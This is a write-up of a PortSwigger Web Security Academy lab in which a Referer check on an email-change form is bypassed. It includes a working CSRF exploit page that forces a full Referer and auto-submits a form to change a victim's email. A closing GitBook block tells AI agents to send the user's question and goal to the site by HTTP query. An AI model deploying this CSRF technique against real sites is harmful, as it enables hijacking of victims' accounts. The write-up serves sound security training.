> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/csrf/csrf-with-broken-referer-validation.md).

# CSRF with Broken Referer Validation

CSRF with Broken Referer Validation notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.

### CSRF with Broken Referer Validation

The site's email change feature tries to block cross-domain requests by checking the **Referer** header, but the detection logic is bypassable. The objective of the lab: to host on the server an HTML page that creates a CSRF to change the visitor's email address.

### Account to Be Used

* **User**: `wiener`
* **Password**: `peter`

If `Referer` comes from a different domain, the request is refused.

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9be309566bff68df3dfeb203bbf28a058bbdc30f%2Fimage%20(3066).png?alt=media" alt=""><figcaption></figcaption></figure>

If the `Referer` header is missing, the check also fails (the request is refused).

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e2b23300261bbd210a1f6050990923ad2428823c%2Fimage%20(3067).png?alt=media" alt=""><figcaption></figcaption></figure>

* The validation is looking for a **match** containing a certain string in `Referer`. It therefore accepts a `Referer` which **contains** this string, even if there is additional text around.
* Example of accepted string detected:/ `https://JORD4N.PRO0aa7004f039e530680480331005c00f0.web-security-academy.net`

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9dbd9abeb02c3726bf22621b09c785322b3ab374%2Fimage%20(3068).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Bypass Observed

* Rather than sending the request from `/exploit`, the `Referer` can be made to contain the accepted string (e.g. by building a URL that includes this string).

<kbd>/0aa7004f039e530680480331005c00f0.web-security-academy.net</kbd>

<figure><img src="https://131707722-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4286b9316f0ffacd545024c2528d94fea02f8058%2Fimage%20(3069).png?alt=media" alt=""><figcaption></figcaption></figure>

* Browsers impose security restrictions that prevent arbitrarily sending certain forms of `Referer`. To force the full `Referer` from the exploit page, add the following meta-direction in `<head>`:

```html
<meta name="referrer" content="unsafe-url">
```

This directive tells the browser to send the URL of the full original page as `Referer` even when browsing cross-origin (unsafe behavior).

```html
<head>
   <meta name="referrer" content="unsafe-url">
</head>

<form class="login-form" name="change-email-form" action="https://0aa7004f039e530680480331005c00f0.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="hacked@jord4n.pro">
</form>

<script>
document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/web/csrf/csrf-with-broken-referer-validation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
